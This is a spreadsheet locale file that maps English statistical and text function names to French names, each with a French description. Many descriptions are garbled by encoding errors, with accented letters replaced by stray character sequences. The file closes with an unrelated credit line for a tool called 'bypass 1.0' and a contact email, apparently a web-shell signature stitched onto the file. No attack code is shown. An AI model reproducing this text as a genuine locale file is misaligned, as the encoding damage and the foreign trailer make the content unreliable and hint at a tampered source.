##	Statistical functions				Fonctions statistiques
##
AVEDEV			= ECART.MOYEN			##	Renvoie la moyenne des écarts absolus observés dans la moyenne des points de données.
AVERAGE			= MOYENNE			##	Renvoie la moyenne de ses arguments.
AVERAGEA		= AVERAGEA			##	Renvoie la moyenne de ses arguments, nombres, texte et valeurs logiques inclus.
AVERAGEIF		= MOYENNE.SI			##	Renvoie la moyenne (arithmĂ©tique) de toutes les cellules d’une plage qui rĂ©pondent Ă  des critĂšres donnĂ©s.
AVERAGEIFS		= MOYENNE.SI.ENS		##	Renvoie la moyenne (arithmétique) de toutes les cellules qui répondent à plusieurs critÚres.
BETADIST		= LOI.BETA			##	Renvoie la fonction de distribution cumulée.
BETAINV			= BETA.INVERSE			##	Renvoie l’inverse de la fonction de distribution cumulĂ©e pour une distribution bĂȘta spĂ©cifiĂ©e.
BINOMDIST		= LOI.BINOMIALE			##	Renvoie la probabilitĂ© d’une variable alĂ©atoire discrĂšte suivant la loi binomiale.
CHIDIST			= LOI.KHIDEUX			##	Renvoie la probabilité unilatérale de la distribution khi-deux.
CHIINV			= KHIDEUX.INVERSE		##	Renvoie l’inverse de la probabilitĂ© unilatĂ©rale de la distribution khi-deux.
CHITEST			= TEST.KHIDEUX			##	Renvoie le test d’indĂ©pendance.
CONFIDENCE		= INTERVALLE.CONFIANCE		##	Renvoie l’intervalle de confiance pour une moyenne de population.
CORREL			= COEFFICIENT.CORRELATION	##	Renvoie le coefficient de corrélation entre deux séries de données.
COUNT			= NB				##	Détermine les nombres compris dans la liste des arguments.
COUNTA			= NBVAL				##	Détermine le nombre de valeurs comprises dans la liste des arguments.
COUNTBLANK		= NB.VIDE			##	Compte le nombre de cellules vides dans une plage.
COUNTIF			= NB.SI				##	Compte le nombre de cellules qui répondent à un critÚre donné dans une plage.
COUNTIFS		= NB.SI.ENS			##	Compte le nombre de cellules Ă  l’intĂ©rieur d’une plage qui rĂ©pondent Ă  plusieurs critĂšres.
COVAR			= COVARIANCE			##	Renvoie la covariance, moyenne des produits des Ă©carts pour chaque sĂ©rie d’observations.
CRITBINOM		= CRITERE.LOI.BINOMIALE		##	Renvoie la plus petite valeur pour laquelle la distribution binomiale cumulée est inférieure ou égale à une valeur de critÚre.
DEVSQ			= SOMME.CARRES.ECARTS		##	Renvoie la somme des carrés des écarts.
EXPONDIST		= LOI.EXPONENTIELLE		##	Renvoie la distribution exponentielle.
FDIST			= LOI.F				##	Renvoie la distribution de probabilité F.
FINV			= INVERSE.LOI.F			##	Renvoie l’inverse de la distribution de probabilitĂ© F.
FISHER			= FISHER			##	Renvoie la transformation de Fisher.
FISHERINV		= FISHER.INVERSE		##	Renvoie l’inverse de la transformation de Fisher.
FORECAST		= PREVISION			##	Calcule une valeur par rapport à une tendance linéaire.
FREQUENCY		= FREQUENCE			##	Calcule la frĂ©quence d’apparition des valeurs dans une plage de valeurs, puis renvoie des nombres sous forme de matrice verticale.
FTEST			= TEST.F			##	Renvoie le rĂ©sultat d’un test F.
GAMMADIST		= LOI.GAMMA			##	Renvoie la probabilitĂ© d’une variable alĂ©atoire suivant une loi Gamma.
GAMMAINV		= LOI.GAMMA.INVERSE		##	Renvoie, pour une probabilitĂ© donnĂ©e, la valeur d’une variable alĂ©atoire suivant une loi Gamma.
GAMMALN			= LNGAMMA			##	Renvoie le logarithme népérien de la fonction Gamma, G(x)
GEOMEAN			= MOYENNE.GEOMETRIQUE		##	Renvoie la moyenne géométrique.
GROWTH			= CROISSANCE			##	Calcule des valeurs par rapport Ă  une tendance exponentielle.
HARMEAN			= MOYENNE.HARMONIQUE		##	Renvoie la moyenne harmonique.
HYPGEOMDIST		= LOI.HYPERGEOMETRIQUE		##	Renvoie la probabilitĂ© d’une variable alĂ©atoire discrĂšte suivant une loi hypergĂ©omĂ©trique.
INTERCEPT		= ORDONNEE.ORIGINE		##	Renvoie l’ordonnĂ©e Ă  l’origine d’une droite de rĂ©gression linĂ©aire.
KURT			= KURTOSIS			##	Renvoie le kurtosis d’une sĂ©rie de donnĂ©es.
LARGE			= GRANDE.VALEUR			##	Renvoie la k-iĂšme plus grande valeur d’une sĂ©rie de donnĂ©es.
LINEST			= DROITEREG			##	Renvoie les paramĂštres d’une tendance linĂ©aire.
LOGEST			= LOGREG			##	Renvoie les paramùtres d’une tendance exponentielle.
LOGINV			= LOI.LOGNORMALE.INVERSE	##	Renvoie l’inverse de la probabilitĂ© pour une variable alĂ©atoire suivant la loi lognormale.
LOGNORMDIST		= LOI.LOGNORMALE		##	Renvoie la probabilitĂ© d’une variable alĂ©atoire continue suivant une loi lognormale.
MAX			= MAX				##	Renvoie la valeur maximale contenue dans une liste d’arguments.
MAXA			= MAXA				##	Renvoie la valeur maximale d’une liste d’arguments, nombres, texte et valeurs logiques inclus.
MEDIAN			= MEDIANE			##	Renvoie la valeur médiane des nombres donnés.
MIN			= MIN				##	Renvoie la valeur minimale contenue dans une liste d’arguments.
MINA			= MINA				##	Renvoie la plus petite valeur d’une liste d’arguments, nombres, texte et valeurs logiques inclus.
MODE			= MODE				##	Renvoie la valeur la plus courante d’une sĂ©rie de donnĂ©es.
NEGBINOMDIST		= LOI.BINOMIALE.NEG		##	Renvoie la probabilitĂ© d’une variable alĂ©atoire discrĂšte suivant une loi binomiale nĂ©gative.
NORMDIST		= LOI.NORMALE			##	Renvoie la probabilitĂ© d’une variable alĂ©atoire continue suivant une loi normale.
NORMINV			= LOI.NORMALE.INVERSE		##	Renvoie, pour une probabilitĂ© donnĂ©e, la valeur d’une variable alĂ©atoire suivant une loi normale standard.
NORMSDIST		= LOI.NORMALE.STANDARD		##	Renvoie la probabilitĂ© d’une variable alĂ©atoire continue suivant une loi normale standard.
NORMSINV		= LOI.NORMALE.STANDARD.INVERSE	##	Renvoie l’inverse de la distribution cumulĂ©e normale standard.
PEARSON			= PEARSON			##	Renvoie le coefficient de corrĂ©lation d’échantillonnage de Pearson.
PERCENTILE		= CENTILE			##	Renvoie le k-iùme centile des valeurs d’une plage.
PERCENTRANK		= RANG.POURCENTAGE		##	Renvoie le rang en pourcentage d’une valeur d’une sĂ©rie de donnĂ©es.
PERMUT			= PERMUTATION			##	Renvoie le nombre de permutations pour un nombre donnĂ© d’objets.
POISSON			= LOI.POISSON			##	Renvoie la probabilitĂ© d’une variable alĂ©atoire suivant une loi de Poisson.
PROB			= PROBABILITE			##	Renvoie la probabilitĂ© que des valeurs d’une plage soient comprises entre deux limites.
QUARTILE		= QUARTILE			##	Renvoie le quartile d’une sĂ©rie de donnĂ©es.
RANK			= RANG				##	Renvoie le rang d’un nombre contenu dans une liste.
RSQ			= COEFFICIENT.DETERMINATION	##	Renvoie la valeur du coefficient de dĂ©termination R^2 d’une rĂ©gression linĂ©aire.
SKEW			= COEFFICIENT.ASYMETRIE		##	Renvoie l’asymĂ©trie d’une distribution.
SLOPE			= PENTE				##	Renvoie la pente d’une droite de rĂ©gression linĂ©aire.
SMALL			= PETITE.VALEUR			##	Renvoie la k-iĂšme plus petite valeur d’une sĂ©rie de donnĂ©es.
STANDARDIZE		= CENTREE.REDUITE		##	Renvoie une valeur centrée réduite.
STDEV			= ECARTYPE			##	Évalue l’écart type d’une population en se basant sur un Ă©chantillon de cette population.
STDEVA			= STDEVA			##	Évalue l’écart type d’une population en se basant sur un Ă©chantillon de cette population, nombres, texte et valeurs logiques inclus.
STDEVP			= ECARTYPEP			##	Calcule l’écart type d’une population Ă  partir de la population entiĂšre.
STDEVPA			= STDEVPA			##	Calcule l’écart type d’une population Ă  partir de l’ensemble de la population, nombres, texte et valeurs logiques inclus.
STEYX			= ERREUR.TYPE.XY		##	Renvoie l’erreur type de la valeur y prĂ©vue pour chaque x de la rĂ©gression.
TDIST			= LOI.STUDENT			##	Renvoie la probabilitĂ© d’une variable alĂ©atoire suivant une loi T de Student.
TINV			= LOI.STUDENT.INVERSE		##	Renvoie, pour une probabilitĂ© donnĂ©e, la valeur d’une variable alĂ©atoire suivant une loi T de Student.
TREND			= TENDANCE			##	Renvoie des valeurs par rapport à une tendance linéaire.
TRIMMEAN		= MOYENNE.REDUITE		##	Renvoie la moyenne de l’intĂ©rieur d’une sĂ©rie de donnĂ©es.
TTEST			= TEST.STUDENT			##	Renvoie la probabilité associée à un test T de Student.
VAR			= VAR				##	Calcule la variance sur la base d’un Ă©chantillon.
VARA			= VARA				##	Estime la variance d’une population en se basant sur un Ă©chantillon de cette population, nombres, texte et valeurs logiques incluses.
VARP			= VAR.P				##	Calcule la variance sur la base de l’ensemble de la population.
VARPA			= VARPA				##	Calcule la variance d’une population en se basant sur la population entiùre, nombres, texte et valeurs logiques inclus.
WEIBULL			= LOI.WEIBULL			##	Renvoie la probabilitĂ© d’une variable alĂ©atoire suivant une loi de Weibull.
ZTEST			= TEST.Z			##	Renvoie la valeur de probabilitĂ© unilatĂ©rale d’un test z.


##
##	Text functions					Fonctions de texte
##
ASC			= ASC				##	Change les caractĂšres anglais ou katakana Ă  pleine chasse (codĂ©s sur deux octets) Ă  l’intĂ©rieur d’une chaĂźne de caractĂšres en caractĂšres Ă  demi-chasse (codĂ©s sur un octet).
BAHTTEXT		= BAHTTEXT			##	Convertit un nombre en texte en utilisant le format monĂ©taire ß (baht).
CHAR			= CAR				##	Renvoie le caractÚre spécifié par le code numérique.
CLEAN			= EPURAGE			##	Supprime tous les caractĂšres de contrĂŽle du texte.
CODE			= CODE				##	Renvoie le numéro de code du premier caractÚre du texte.
CONCATENATE		= CONCATENER			##	Assemble plusieurs Ă©lĂ©ments textuels de façon Ă  n’en former qu’un seul.
DOLLAR			= EURO				##	Convertit un nombre en texte en utilisant le format monĂ©taire € (euro).
EXACT			= EXACT				##	Vérifie si deux valeurs de texte sont identiques.
FIND			= TROUVE			##	Trouve un valeur textuelle dans une autre, en respectant la casse.
FINDB			= TROUVERB			##	Trouve un valeur textuelle dans une autre, en respectant la casse.
FIXED			= CTXT				##	Convertit un nombre au format texte avec un nombre de décimales spécifié.
JIS			= JIS				##	Change les caractĂšres anglais ou katakana Ă  demi-chasse (codĂ©s sur un octet) Ă  l’intĂ©rieur d’une chaĂźne de caractĂšres en caractĂšres Ă  Ă  pleine chasse (codĂ©s sur deux octets).
LEFT			= GAUCHE			##	Renvoie des caractĂšres situĂ©s Ă  l’extrĂȘme gauche d’une chaĂźne de caractĂšres.
LEFTB			= GAUCHEB			##	Renvoie des caractĂšres situĂ©s Ă  l’extrĂȘme gauche d’une chaĂźne de caractĂšres.
LEN			= NBCAR				##	Renvoie le nombre de caractĂšres contenus dans une chaĂźne de texte.
LENB			= LENB				##	Renvoie le nombre de caractĂšres contenus dans une chaĂźne de texte.
LOWER			= MINUSCULE			##	Convertit le texte en minuscules.
MID			= STXT				##	Renvoie un nombre dĂ©terminĂ© de caractĂšres d’une chaĂźne de texte Ă  partir de la position que vous indiquez.
MIDB			= STXTB				##	Renvoie un nombre dĂ©terminĂ© de caractĂšres d’une chaĂźne de texte Ă  partir de la position que vous indiquez.
PHONETIC		= PHONETIQUE			##	Extrait les caractĂšres phonĂ©tiques (furigana) d’une chaĂźne de texte.
PROPER			= NOMPROPRE			##	Met en majuscules la premiĂšre lettre de chaque mot dans une chaĂźne textuelle.
REPLACE			= REMPLACER			##	Remplace des caractĂšres dans un texte.
REPLACEB		= REMPLACERB			##	Remplace des caractĂšres dans un texte.
REPT			= REPT				##	RépÚte un texte un certain nombre de fois.
RIGHT			= DROITE			##	Renvoie des caractĂšres situĂ©s Ă  l’extrĂȘme droite d’une chaĂźne de caractĂšres.
RIGHTB			= DROITEB			##	Renvoie des caractĂšres situĂ©s Ă  l’extrĂȘme droite d’une chaĂźne de caractĂšres.
SEARCH			= CHERCHE			##	Trouve un texte dans un autre texte (sans respecter la casse).
SEARCHB			= CHERCHERB			##	Trouve un texte dans un autre texte (sans respecter la casse).
SUBSTITUTE		= SUBSTITUE			##	Remplace l’ancien texte d’une chaüne de caractùres par un nouveau.
T			= T				##	Convertit ses arguments en texte.
TEXT			= TEXTE				##	Convertit un nombre au format texte.
TRIM			= SUPPRESPACE			##	Supprime les espaces du texte.
UPPER			= MAJUSCULE			##	Convertit le texte en majuscules.
VALUE			= CNUM				##	Convertit un argument textuel en nombre

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net